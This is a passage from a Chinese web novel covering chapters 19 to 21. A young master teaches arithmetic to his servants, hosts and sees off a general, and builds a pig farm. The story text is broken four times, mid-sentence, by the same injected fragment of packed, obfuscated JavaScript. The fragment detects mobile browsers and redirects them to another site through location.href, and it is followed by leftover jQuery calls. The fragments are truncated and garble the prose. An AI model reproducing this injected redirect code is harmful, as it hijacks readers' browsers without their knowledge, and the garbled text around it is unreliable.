小姑娘敢怒不敢言的模样让曲花间生出一丝内疚,但新的雪人堆起来后他还是没忍住手痒再一次作恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487869|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眼见小姑娘越想越气,眼睛逐渐变红,连曲宝都看不下去了,他将林冉抱起来哄了好一会儿,答应给她堆一个更大的雪人,这才止住那要掉不掉的金豆豆。 曲花间见没法再逗小孩儿,这才心满意足的进了屋。 宽敞的书房里,冬日的阳光本就温和,透过纸糊窗户照射进来,便显得有些昏暗,曲花间将窗户打开,冷风呼呼灌进来,吹得他打了个激灵,好在房间里炭盆烧得正旺,只要不站在窗前,便不怎么冷。 曲花间自己取了笔墨,在洁白无瑕的的宣纸上默写着乘法口诀表。 庄子上和店里送来的账本都是用繁体字写的,而且记账方式也十分复杂,每次看账本曲花间就感觉头大。 若是能把阿拉伯数字和加减乘除推广出去,以后不论记账还是查账都会方便许多。 林冉在院子里和曲宝玩了一会儿,等新的雪人堆成功,心里那点委屈瞬间早就抛到脑后,她和曲宝趴在窗户上,偷偷看着曲花间奋笔疾书。 曲花间的毛笔字不算好看,但好在他心情不好的时候便会练字静心,经过一年多的锻炼,倒也勉强能见人。 曲宝是识字的,但他瞄了好一会儿,还是看不出自家少爷纸上画的那些符号到底是个啥。他忍不住出声问道:“少爷,您这画的什么呀?” 曲花间落下最后一笔,将宣纸拿起来晾干,“这是一种简易的数字,你俩进来,我先教你们认认。” 阿拉伯数字并不难学,加减法也十分简单,只是乘除对曲宝这个勉强识字的人来说有些复杂。 倒是林冉,她从未上过学,没有固有印象,对新知识接受度良好,不过半个下午,便将数字记熟,连乘法口诀表也背了下来。 “我考考你,我有四个盘子,每个盘子里有五块红豆糕,那么我总共有几块红豆糕?” “嗯……三五十五,四五二十,有二十块红豆糕!” “不错!阿冉可真聪明,才一下午便学会了,不像你曲宝哥哥,笨得伤心。” 曲宝见曲花间一踩一捧,瞬间委屈起来,“少爷!您嫌弃我!” “谁让你笨,还不如小孩儿呢!” “是了,少爷如今有新宠了,就嫌弃我这糟糠小厮了嘤嘤嘤……” 曲花间:“……” 林冉:“曲宝哥哥您说什么呢!我可不是东家的新宠,我是他的小丫鬟!” “是是是,哥哥嘴笨,说错了,阿冉还小呢,不能乱开玩笑,对不住对不住!” “我真服了你们俩,别贫嘴,继续背!背不出来今晚不准吃饭!” 见曲花间语气开始严肃,两人立马安静下来,规规矩矩的齐声道:“知道了,曲夫子!” “我可不是你们夫子,你这么一说,阿冉今年十岁了吧?是不是该上学堂了?” 说起上学堂,林冉眼睛一亮,但又很快暗淡下来,她低落的说:“东家您忘了?女孩子是不能上学堂的。” “那怎么办?请个夫子?” “少爷,不会有夫子愿意教女学生的。” 曲宝低头摸摸林冉的脑袋,虽然他很喜欢这乖巧聪慧的小姑娘,可世道如此,女子生来便要学习相夫教子,根本不会有人教她们读书明理。 19. 再见 最后曲花间决定自己亲自教林冉识字,他虽然算不上知识渊博,但汉字繁简相通,教一个从未上过学的孩子还是够的。 接下来的日子,曲花间除了处理生意上的事,便将自己关在书房里教林冉读书写字。除了林冉,曲宝也跟着学习数学,时间长了,曲花间便发现两人各有长处。 曲宝对数字不太敏感,但语文方面却颇有天赋,文言文晦涩难懂,许多文章他只要读上几遍,便能简单理解其中意思,再一对照注释,竟八九不离十,这理解能力连曲花间都自愧不如。 而林冉对于算术十分感兴趣,短短半个月,字都认不全的她,一百以内的加减乘除再也难不倒她。 曲花间看着林冉的数学满分试卷满意的点点头,再一对比曲宝堪堪及格的分数,忍不住戳他脑袋。 曲宝被戳疼了,委屈的捂着脑袋,“少爷,您怎么不说阿冉语文试卷连六十分都没有呢?” “阿冉才认字多久?你认字多久了?说你两句你还不服气是吧?” “不敢不敢,少爷我下次努力!” “嬉皮笑脸!” “嘿嘿!” 转眼日子便到了正月十四,林冉的哥哥林茂总算在元宵节前赶回了家。 小姑娘一个多月没见到自己兄长,听说送粮食的队伍总算回来了,连招呼都顾不得打,便跟只小燕子似的飞奔出了书房。 冬天大雪封山,越往北走天气越发寒冷难行,曲花间见到林茂陈成时差点没把他俩认出来。 只见两人裹着不知道一共几层的衣服,外衣脏兮兮的像糊了一层锅灰,头发凌乱,一股一股扭成麻花状,看起来像深山里跑出来的野人。 见曲花间走进正堂,两人赶紧行礼,“东家!小的幸不辱命,粮食都送到了,手底下的人也平安回来了,我让他们先回家报平安了。” “不错不错,辛苦你们了,没在家过年,是该让他们先回去休息休息。”曲花间扶起两人,让他们坐在椅子上,又让曲宝赶紧弄点热汤热饭上来。 林冉顾不得兄长身上脏兮兮的,扑进林茂怀里,林茂拍拍她的背将她推开,小声呵斥:“这么大姑娘了,怎么能往男人身上扑呢?不像话!” “哥哥怎么能算男人呢?我就要哥哥抱!”林冉并不觉得自己这话有多惊人,还是往林茂身上扑。 “噗嗤!”曲宝被林冉说林茂不算男人的话逗得直笑,他上前把小姑娘牵走,“你哥哥一路回来肯定很累了,让他坐着休息会儿吧。” 林茂老脸一红,瞪了林冉一眼,又对曲花间道:“东家见笑了,小孩子胡言乱语。” “没事,对了,穆将军没派人跟你们一道回来?” “来了,只是他们人挺多的,秦校尉说一块儿进城不太方便,就在庄子上扎了营,说是明日再来拜访。 看林茂这副模样,想必同行而来的秦校尉也好不到哪里去,估计要收拾洗漱一番才好见人,曲花间表示理解。 “待会儿陈成要回家去吧?记得带几个人,送些食物过去。” “晓得了东家!”陈成家住在庄子附近,又和兵士们相熟,由他顺便送东西过去最合适。 吃过饭,陈成便带着送东西的人离开了曲府,而林茂则迫不及待的回了自己住的院子洗漱。 曲花间也给林冉放了假,让她和兄长好好聚聚。 翌日清晨,曲花间还在赖床,曲宝便说秦校尉一行人到了。还没睡饱的曲花间有些迷糊,任由曲宝给自己梳了头,打着哈欠往正堂而去。 正堂里,两道挺拔的背影立于当中,听见身后的动静,两人转过身来,一张削瘦冷硬的面容映入曲花间的眼帘。 曲花间呆了呆,微张的嘴都忘记合上,迷糊了好一会儿,才反应过来,惊讶道:“穆酒?” “嗯,是我。” “穆将军戍守边疆,怎么到这里来了?” “冬日行军艰难,鞑靼不敢来犯,曲公子赠我边军许多粮食,在下特来拜谢。” “穆将军客气,在下小字长安,将军可唤我小字。”曲花间客气道。 “好,长安。” 穆酒改口改得干脆,曲花间却第一次被人叫表字,竟有些不好意思,他轻咳一声,走进正堂,邀二人入座。 这次和穆酒一同来的不是秦叶,而且去年和穆酒一同被曲花间救下的秦枫。 秦枫冲曲花间抱拳,道:“去年曲公子救我与将军性命,一直未好好道谢,如今公子慷慨解囊又送我们这么多粮食,真是感激不尽!” “客气客气!” 三人寒暄半晌,穆酒不是多话之人,多是曲花间和秦枫两人在交谈。 曲花间总感觉有道灼人的目光落在自己身上,可每每看向穆酒,他不是看天看地,就是看自己手中的茶,眼神悠长,不知在想什么。 倒显得是自己在偷看对方了。 曲花间心想。 吃过早饭,秦枫便去城外组织人手将粮食装车。 穆酒身为一军主帅,在青岱待不了多久,待粮食全部装好便会离开。曲花间将他带到书房开始讨论合作做生意的事宜。 通商最重要的是商道,从冀州到幽州的路程林茂陈成已经走过一次来回,幽州人烟稀少,又有边军坐镇,一路过来除了落脚点少,匪徒倒是不多。 离开幽州,从两州边境到青岱只相隔一个留县。 留县地势平坦,少有山贼能藏身之处,是以这段路也相对好走。 货物从幽州运往青岱,再由青岱运往南方贩卖这段路途是最凶险的。 所以穆酒此次除了运粮队伍,还带了五十名身经百战的亲兵,交予曲花间调遣。 “此次来得匆忙,只带了五车货物,这些都是军营里将士们边巡时带回来的,幽州许多百姓也会跑山,若真能打开商路,可向百姓收购。” 穆酒与曲花间面对面而坐,冬日暖阳透过窗户照在少年白皙的脸上,那薄薄的肌肤仿佛透明一般,能轻而易举看到下面细细的血管,整个脸颊看起来像擦了胭脂似的,颜色正好。 曲花间被穆酒那直勾勾的眼神盯得有些不自在,虽说与人交谈不直视对方的话很不礼貌,但他就是忍不住左顾右盼。 也不知是对面的男人气场太强大,还是自己心里有鬼。 “我虽是商户出身,但也没什么行商经验,将军信得过我,我便试试,若是不行,也请将军莫怪罪。” “守疆。” “嗯?”男人嘴里没头没脑的蹦出两个字,曲花间疑惑的看他一眼。 “你我既已互换表字,你叫我守疆便好,叫将军太过生分。” “……好的。” “听秦叶提起,你很喜欢吃坚果,我单独给你装了一车,明儿让秦枫给你送来。” “嗯?啊……多谢。” “不必客气。” 被穆酒前不着村后不着店的打岔,曲花间也忘了谈生意上的事。 等日头爬到正空,穆酒起身告辞后,曲花间才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487870|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懊恼的发现,货物价格,收益分成什么的,竟一样也没谈成。 这狗比,一天正事不做,就晓得唠闲嗑! “少爷,吃饭了!中午吃元宵,可香了!” 曲宝端着托盘敲门而进,青瓷海碗冒着腾腾热气,几个元宵躺在碗底,让许久没吃元宵的曲花间也咽了咽口水。 用调羹舀起一个胖墩墩的元宵,就着热气咬下一半,软糯的元宵皮儿里裹着香甜的芝麻馅儿,曲花间满足的喟叹一声。 “对了,元宵可有多的?给穆将军他们送些去吧。” “有倒是有,不过仅够几个人吃的,穆将军他们这次两百多人呢,怕是分不匀。” “那就送这么多,我记得厨房囤了不少冻肉吧,取五十斤一并送去。” “少爷您想跟穆将军一块儿吃元宵刚刚怎么不留他吃饭啊?” 曲宝面带揶揄,曲花间不由得瞪他两眼。“他说还有事儿,就先走了,你最近越发话多了。” 曲宝见将自家少爷惹恼了,连忙嬉皮笑脸的小跑着退出书房。 “少爷,我这就给穆将军送元宵去!” 一碗元宵份量十足,曲花间揉揉有些饱胀不适的肚子,起身出门闲逛以便消食。 曲府占地面积不小,一圈儿转下来得花两刻钟时间。 走到林茂所住的小院子门前,见林冉和李阿大蹲在墙角挖雪玩儿。 曲花间走近一看,俩小孩儿用雪堆了个小小的房子,雪房子有墙有门还有三角形的屋顶,看起来挺像那么回事儿。 小孩儿玩得专注,直到曲花间出声才发现他。 由于曲花间有过前科,林冉看清是他后便有些防备的伸手护住她和李阿大好不容易修建的雪房子。 “东家,您怎么来了?是找我哥哥吗?” 林冉如今已经不怎么怕生了,又和曲花间混熟了许多,主动搭话。 倒是李阿大,因着平日里少有接触,又被娘亲教导要尊敬东家,他笨拙的跪下给曲花间磕了个头,“东家新年好!” 曲府对待下人很大方,平日里伙食开得不错,余三林茂两家人虽不是下人,但也跟着吃大锅饭,李阿大在曲府养了大半年,原本瘦得皮包骨头的脸蛋儿也有了些肉肉。 小孩儿穿着厚厚的衣服裹得像个小球儿,脸蛋上又挂着两团酡红,那笨拙磕头的样子煞是可爱。 “快起来吧,以后见了我不用磕头。”曲花间将李阿大牵起来,从怀里摸出个红封递给他,“过年的时候你不在家,喏,这是你的压岁钱。” “不行不行!不能要东家的钱!”李阿大慌乱的推开曲花间的手,圆圆的眼睛大睁着,像只受了惊的小鹿。 曲花间见状拉开小孩儿的前襟,将红封塞进他衣兜兜里,不准他拒绝,“收着吧,你阿冉姐姐也有。” 见东家提到自己,林冉也重重点头,“收着吧弟弟,东家可好了!” “可是我娘说了,不能要大人的钱。” “这是压岁钱,每个小孩子都有的,你以前过年的时候大人没给你吗?” 听到林冉的话,李阿大有些茫然,“没有……” “没事!以后东家会给你压岁钱的,不过我哥哥说了,东家给我们压岁钱,就是我们的长辈,长大以后我们要孝敬东家的。” “是这样吗?” 曲花间听着两个小孩儿你一言我一语的,有些哭笑不得,“我才比你大几岁,等你们长大我也还没到需要你们孝敬的岁数吧? 20. 送人 正月十六是个难得的大晴天,阳光照射在一望无垠的雪原上,沉睡了一个冬日的雪原开始苏醒。 晶莹的雪花逐渐融化成水珠,水珠汇聚成涓涓细流往地势低矮处流去,形成一道道细长的沟壑。 兵士们连夜将粮食装上车,这便准备启程了。 穆酒替自己的爱驹追风顺着毛,频频回头,身后的兵士各自守着自己负责的车辆,即便将军迟迟不下令出发也一声不吭,可见穆酒治军之严谨,士兵皆令行禁止。 终于,茫茫的雪原上传来了车马声。 曲花间撩开马车帘子,一眼便看到了隔着一大片车队立在前方挺拔的背影。 穆酒听见动静转身,也看见了马车里略带稚嫩的俊颜。 他翻身上马,一夹马腹,驱马绕过车队来到马车前,挡住自北方吹来的冷风,道:“长安是来送我?” 跨坐在高大骏马上的男人闯入眼帘,他点点头,“嗯,来送送你们,路上小心点。” “天这么冷,其实不必相送的。” 好不容易撵上自家将军的秦枫:“……” 也不知道是谁,等了一早上,看到人来了跑得狗都撵不上。 “可惜你有军务在身,不然该留你多休息几日再走。”曲花间想着对方是比较重要的合作伙伴,言语间带着客套。 可惜穆酒并不是客套的人,也听不出曲花间的客气,“鞑靼时常来犯,我不能离开幽州太久,下次你来幽州,定要多住些日子!” 曲花间:“……好的。” “不过你放心,鞑靼只敢在边境骚扰,你在幽州城内游玩,绝对安全。” “我知道。” “榛子和松子你更喜欢哪个?我回去多备些。” “不必费心,这次送来的够我吃很久了,多谢。” “将军,该走了。”秦枫小声提醒。 再不走天都要黑了! 自家将军平日里寡言少语,不知道对着曲公子时怎么这么啰嗦! “那我就走了,给你的人手都留在营地里,领头的百夫长名叫常征,他等会儿会来报道。” “知道了,我就不远送了,将军一路小心。” “好。” 道完别,穆酒架马而去,待他走到队伍前头,长长的车队才缓缓动起来,写着穆字的军旗溜溜的一排,被凛冽的北风吹得猎猎作响。 送走穆酒,马车晃晃悠悠往军队驻扎过的营地而去。 宽阔的营地如今只剩下五顶帐篷,空出的地面上残留着一团团被清理干净的地基和早已熄灭的篝火。 百夫长常征从帐篷里迎出来,抱拳行礼,“见过曲公子!属下常征,以后便听候公子调遣。” “嗯,辛苦百夫长,我在庄子上有几间房屋,你让兄弟们搬去那里暂住吧。” “是!” 得了命令,常征迅速吩咐下去,兵士们令行禁止,纷纷行动起来。 庄子上的房屋原本是修来做仓库的,里面空荡荡的什么都没有,好在兵士们都随身携带日常物品,并不耽误入住。 曲花间让曲宝订购一批材料,又请了几个工匠,准备挨着仓库给这些人修几间瓦房。 材料送来还需几天,常征便领着人开始夯地基。 将地面上的积雪清理,一个个五大三粗的汉子穿着单衣,拎着木锤喊着号子捶地。 这块用来修新房的地是去年刚开出来的荒地,好不容易犁得松软的地此时又要被夯实。 木锤重重落在地上,轻易便砸出一个个土坑。 为了节省时间和材料,新房子被修成一排十间屋子,两排背靠背共用一堵墙,一共修了四排。 每间屋子配了一个大炕,两间屋子中间修一个炕灶,这样即能保暖,又节省柴火。 人多力量大,五十个兵士和十几个工匠联手,新房子仅仅半个月便修好了。 兵士们欢天喜地的搬进新家,除了常征,其余人皆是两两一间,四十间房子还空出一小半。 多出来的屋子是曲花间给工人们预留的,未来他打算在庄子上开设养猪场,肥皂厂等一系列作坊。 到时候需要的人手肯定不会少,提前准备几间员工宿舍算是有备无患。 进入二月,田间地头冰雪消融,万物复苏,曲花间的开荒事业又如火如荼的展开了。 糖罐山那边去年开出了一大半的荒地,今年赶在春耕前应该能将所有荒地开垦出来种上庄稼。 按林茂报上来的土地面积,糖罐山所有土地开垦出来,应该会有八千多亩水田,和四千多亩旱地。 这些田地曲花间不再打算租给佃农,而是花钱雇人耕种,所得的粮食除了囤一些以备不时之需,多余的会全部运往幽州,和穆酒交换货物。 “今年林茂就不再跟着杨管事去糖罐山那边了,换陈成去吧,杨管事两个地方来回跑也挺麻烦的,你多跟他学学,等春耕结束,糖罐山那边的事情就交给你来负责。” 糖罐山虽还没修建庄子,但这么多田地需要不少人手打理,曲花间让陈成负责那边的事,也是器重他。 陈成心思细腻,稍微一想便明白了其中含义,他激动得朝曲花间一拜,“多谢东家器重,小的定不辜负东家期望!” “嗯,好好干,下个月给你涨工钱。” “谢谢东家!”陈成兴奋不已,得了任务便癫癫儿的回家收拾行李去了。 陈成媳妇这些时日一直在宿舍这边帮工做饭,还不知道这事儿呢。 他打算和媳妇商量一下,干脆带上儿子,跟他搬去糖罐山那边,一家人在一处做事,也免得他心里总是牵挂。 陈成离去后,林茂才问起自己,“东家,那我今年在哪儿做事呢?” “你这段时间和常征一起,在那边山上开劈出一块空地,建个养猪场,再找人收些猪仔养着。” “晓得了东家。” “速度要快,月底我和常征便要南下做生意,到那时这事儿你还没办好,就不用跟着去了。”曲花间笑意盈盈的看着林茂。 之前交给林茂的事他的办得很仔细,平时对自己也很尊敬,可以说曲花间手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487871|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下除了曲福父子,就他最能干又忠心。 青岱县没有养猪场,想参考也没地儿去学,这算是曲花间对林茂的考验。 若是这事他办得好,曲花间便打算将他带在身边,免得自己平日里除了曲宝,连个得用之人也没有。 “是!东家!”林茂可是发誓要给曲花间做护卫的,东家要南下他不跟着怎么行? “东家,那我先去了,保证在出发前完成任务!” “去吧。” 待林茂走出视线,曲花间才转头,看向一直翘着嘴戳手指的曲宝。 “怎么?我让林茂去修养猪场你不高兴了?你也想修养猪场?” “才不是!”曲宝见自家少爷一眼便看穿了自己的小心思,有些不好意思的小声反驳。 “我平时真是太惯着你了,一天天的净晓得耍性子。” “我哪有耍性子,我只是怕您有了林茂这样又会功夫,又能做事的手下,就不需要我了,我什么都不会,就只能给您端茶倒水。” “噗嗤!”曲宝委屈巴巴像个小媳妇的样子彻底把曲花间整笑了,“我不需要你的时候多了,等我以后成了亲,你连端茶倒水的机会都没了,这可怎么办呢?” “少爷!您就别取笑我了!好好好,我小心眼,我知错了!” 被曲花间这么一逗,曲(小气吧啦)宝眼眶迅速泛红,蹲下身给曲花间捏腿,不再看他。 “不能端茶倒水,我还能给少爷捶背捏肩呢!未来少夫人是主子,您总不能让她跟下人抢活做吧?” “倒也是!那就留着你吧,不过工钱减半。” “少爷!您真是……!” “哈哈哈哈!”曲花间拍拍他的肩膀,看着曲宝乌黑的发顶。 “你虽然是我的贴身小厮,但我一直把你当朋友,也是我的得力助手,未来我要做的事越来越多,你一个人忙不过来的,总要有更多人帮你分担吧?” “所以林茂是少爷给我找的助手?”曲宝瞬间有被安慰到。 “……算是吧。” “我的意思是你不必妄自菲薄。” “知道了少爷!少爷果然最疼我!” “呵呵。”曲花间冷笑。 接下来的日子,除了时不时听管事们汇报一下生意上的事,曲花间便一直待在家里教学生。 林冉如今已经能将千字文认全,只是许多字还不能默写,但才将将开始学习一两个月,这进度算很不错了。 至于数学,加减乘除已经难不倒她了,再深奥的知识点曲花间还没能回忆起来,只能等南下回来后再教她了。 而曲宝数学方面实在没什么天赋,好在勤能补拙,一张张算数试卷做下来,也勉强能跟上曲花间的教学进度。 除了曲宝和林冉,元宵过后曲花间也让李阿大过来跟着认字。 李阿大性子内向,有不懂的地方也不敢问,曲花间教一个字,他便读一个字。 好在他记性很好,许多字只用临摹个两三遍他就能默写出来,这让曲花间教得十分省心省力。 21. 养猪 深夜,曲家上下各处院子均已熄了灯,静谧的夜晚偶有人声传出,是林茂兄妹俩还未休息。 微弱的油灯映射出一高一矮两道长长的人影。 “一只鸡两条腿,一只兔子四条腿,一共十二条腿,兔子和鸡数量一样多,这么简单的题你都不会!?哥哥,你好笨!”林冉绵软的声音带着恼怒,她无奈的伸出食指戳了戳林茂的脑袋。 被自家妹妹这样说,林茂一张古铜色的脸皮憋得通红,他看着那道又是鸡又是兔的题目,只会一加一等于二的脑子总是转不过弯。 “你小时候不会用筷子,我教了你足足半年,如今叫你教我算数,才教几天就不耐烦了,唉!” “哼!” 林茂也只是佯装叹息逗一逗自家妹妹,见她真生气了,连忙哄道:“好好好,阿冉最是聪明了,你快给哥哥讲讲,这道题到底是什么意思啊?” “哥哥,你为什么要学算术啊?曲宝哥哥说,我算术学得好,以后长大可以给东家当账房,哥哥你又不用当账房。” “多学点东西总是没错的嘛,东家身边得用之人太少了,我多学点东西,就能多替东家做点事,不是很好?” 只有在自家妹妹面前,林茂才会吐露心声,细细讲给她听,东家对他们恩重如山,林茂希望妹妹也能记得这份恩情。 “哦……”听完林茂的话,林冉似懂非懂的点点头。 林茂继续道:“东家这么厉害,我们得努力让自己更能干,跟上东家的脚步才行。” “那你快把这道题做出来吧,我是不会告诉你答案的!” …… 林茂一边晚上跟林冉学习算术,一边盯着修建养猪场的进度。 在远离耕地的山林里开辟出一块地势相对平坦的地,再在地基下挖出一个个相连的粪坑,在粪坑上就地取材盖起一间间猪舍,这些事情都十分简单。 五十个兵士和十几个有盖房经验的工匠只花了十来天就将一处整齐崭新的养猪场建起来。 修建房舍容易,难的是这么大一间养猪场需要的猪仔。 青岱县并没有像这样大规模一次性能养几百头猪的养猪场。 普通农人通常只会养个一两头猪,长到两百来斤时就卖给相熟的猪肉贩子。 只有少数人会留一头母猪生崽卖给需要养猪的人家。 一头母猪一窝能生十来头猪仔,通常一个村子也就一两户人家养母猪,要凑够几百头猪仔不是个小工程。 好在曲花间出手大方,只要账目清晰,用途正当,需要多少银钱直接向管家曲福支取便是。 林茂支了银子,让人到乡下挨户打听,问到有养猪的人家,不论公母大小,只要肯卖,便按市价高一成收购。 青岱县是冀州第二大县,占地面积不小,村镇也很多,但因着前年的旱灾,许多人家还没恢复元气,是以养猪的人不多。 林茂带着人分头跑遍了大半个青岱县,才买到五六十头成猪和不到一百头猪仔。 成猪里有二十几头母猪,其中十头已经揣了崽,按一窝十头算,到三月份时养猪场也勉强有两百多头猪了。 这些猪个头大小不一,大的每隔几日便会杀一头送去火锅店,再在肉贩子那里买些畅销的部位,也勉强能供应上火锅店的需求。 因着养猪场离林茂所在的村子不远,这些猪仔也必须有人看顾,林茂便在村里请了几个养过猪的老人过来看猪场。 这些老人年岁已高,家里的农活也渐渐干不动了,眼看着便要成为家里吃白饭的人。 如今林茂请他们去做工,不仅管吃管住,每月还给三百文工钱,一个个都老泪纵横,二话不说收拾了铺盖卷儿便住进了养猪场宿舍。 如此一来,这些人家里少了张嘴吃饭,还能挣点钱补贴家用,他们的家人也都十分感激林茂和他背后的东家。 猪舍修建好,猪仔也有人照料,养猪场勉强算是初步建成了,曲花间看着林茂按他要求写的工作报告,满意的点点头。 “不错,虽然猪仔数量少了些,但也不急于一时,送给火锅店的猪不要宰母猪,小猪仔里面留几头体格好,长得壮实的做种猪,其他全部阉了吧。” “阉了!?”旁听的曲宝吃惊的问:“怎么阉?让猪也做太监吗?” 见曲宝和林茂都震惊不已,曲花间反应过来,想必现在的人还没实行阉猪这个法子。 难怪他每次吃猪肉都感觉有些腥臭,而身边的人却都习以为常,他还以为是自己嘴太挑了的缘故。 “差不多是这意思吧,阉割过的猪仔长得更快更肥,而且肉的腥臊味也会淡得多。” 林茂见曲花间一脸平静的说出让几百头猪做太监的话,心里佩服不已,“还是东家懂得多!” “可是从没听说过有人会阉猪的,会阉人的估计会,但咱们这小县城也没有太监,更别说阉太监的人了。” “阉割其实挺简单的,你找几个下得去手的,我跟你讲怎么弄!” 曲花间勾勾手指,让林茂附耳过来,他将从前在网络上看到过的阉割手法讲给他听。 曲宝一直待在曲花间身边,从来不晓得自家少爷还会这项手艺,他听着两人叽叽咕咕小声讨论,眼睛悄悄瞟了一眼下方,轻轻把手挪到前方,虚掩住挂着自己宝贝的部位。 忍不住打了个冷颤。 阉割猪仔最合适的时间是刚出生几天,但这批猪仔几乎都是别人养了一段时间的,大小不一,但都过了最合适的时候。 是以阉割难度很大,一百多头猪仔整整花了三天才阉割完。 好些猪仔应激反应严重,甚至有些猪仔因为挣扎太狠,阉割的人刀一偏,直接在猪肚子上噶了条大口子。 有两头猪仔当场便因伤势过重咽气了,林茂让新上任的猪舍管事老李头把两头猪仔处理干净。 留了一头给猪舍工人加餐,剩下一头并一大盆猪蛋一块儿给曲花间送了来。 曲花间本就是个吃货,这东西他虽没吃过,但万物皆可涮,当即便让厨娘处理干净,烧了个火锅子。 林茂送来的猪仔只有二十来斤,处理干净后更是只有十来斤,用来做烤乳猪正好。 曲花间一边切调料,一边吩咐曲宝:“把常征胡掌柜和几个管事都请来,今晚咱们吃烤乳猪和火锅。” 曲宝从来没吃过烤乳猪,但他知道只要自家少爷一进厨房,就做不出难吃的菜。 他咽了咽口水,噔噔噔跑出厨房,随手唤来几个仆役去请人,然后又迅速返回厨房守着。 曲花间手脚麻利的将调料切拌好,将改刀过的猪仔码上,又找来几根铁棍制成的架子,将猪仔固定在上面,架在火炉上。 火炉里烧的是上好的无烟碳,用来烤东西最合适不过,等猪肉码入味后便点火慢慢烘烤,时不时翻个面刷上酱料。 二月份的天,气温还有些寒凉,一直站在火炉前的曲花间愣是忙出一身汗。 等烤乳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487872|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪做好,客人们也都到齐了。 曲花间这个东家还在厨房里忙活,几位管事也不好干坐着等,便纷纷围在厨房门口,探头探脑的看曲花间烤肉。 一股难以言喻的焦香味传来,没尝过曲花间手艺的常征咕嘟一声咽了口口水,小声道:“好香啊,东家在做什么?” 跟了曲花间之后,常征等人便脱下兵甲,换上款式统一的衣服,对外自称是曲家雇来的长工。 不知情的都唤常征一声常管事。 常征本身是个热情奔放的汉子,没多久就和几位管事混熟了。 杨管事见他一副馋样,笑得不行,他小声道:“你别管东家做什么吃的,反正都是美味,待会儿你可别把舌头吞下去。” “哪能这么夸张,未必还能比满座火锅大师傅做的锅子好吃?” 胡掌柜闻言,捻须得意一笑,“常管事你刚来没多久,可能不知道,店里大师傅坐火锅的手艺,还是东家亲自教的呢!” “是嘛?”常征闻言笑了笑,不由得更加期待地看向厨房,里面飘出来的味道可真是香啊! 说话间,菜肴已全部起锅,曲宝在院子里支起桌子,众人也纷纷上前帮忙。 饭菜上桌,十来个大汉围坐在一块儿,眼巴巴的等着曲宝分切烤乳猪。 曲花间的小院儿里除了逢年过节,难得热闹一回,他取出一桶窖藏了半年多的葡萄酒,分给众人尝鲜。 常征仰头一口饮尽杯中酒,酣畅的哈了口气,道:“好酒!好酒!这酒也是东家做的?” “那是!这可是少爷亲手酿的,外面买都买不着呢!” 曲宝抱着酒桶给他重新满上,得意的扬起下巴,若是有条尾巴,此时怕已翘到天上去了。 “有句话怎么说的来着?上得厅堂,下得厨房,说的就是东家这样的人哪!属下佩服!”常征冲曲花间竖起大拇指,将第二杯酒放到鼻子边轻轻嗅闻。 “你若喜欢,待会儿让曲宝给你带上些,但切勿贪杯,小酌怡情便可。” “那就多谢东家了!嘿嘿!”常征不是个会客套的人,欣然接受了曲花间的好意。 “东家,我敬你一杯!” —— 酒过三巡,众人醉得东倒西歪,桌上的菜肴也都分食得一干二净。 十多个人轮番敬来敬去,饶是曲花间也喝了不少。 他伸手摸了摸微微发烫的脸颊,木愣愣的看着曲福父子给众人灌醒酒汤。 “少爷,您也喝点吧,醒醒酒。”曲福盛了碗醒酒汤端到曲花间嘴边。 曲花间皱了皱鼻子,嫌弃醒酒汤味道不好闻,摇摇头表示拒绝。 见他看起来还算清醒,曲福也没坚持,转手将手里的汤灌进常征嘴里。 常征着实中意这葡萄酒,一直拉着人划拳,其他人都划不赢他,只他手下两个伍长和林茂稍稍能打成平手。 于是这四个喝得最多,一桶十斤装的葡萄酒,八成进了他们几个的肚子。 林茂划拳还行,但酒量堪忧,几乎是喝半场睡半场,一张黝黑的面皮愣是透出些许暗红。 曲宝见曲花间没注意到自己,忍不住轻哼一声,捏住林茂的鼻子狠狠用力一拧。 林茂睡得正香,突然吃痛又无法呼吸,瞬间便惊醒了,迷迷瞪瞪的冲曲宝憨笑两声,又倒头睡去。 “还睡!起来喝汤!” 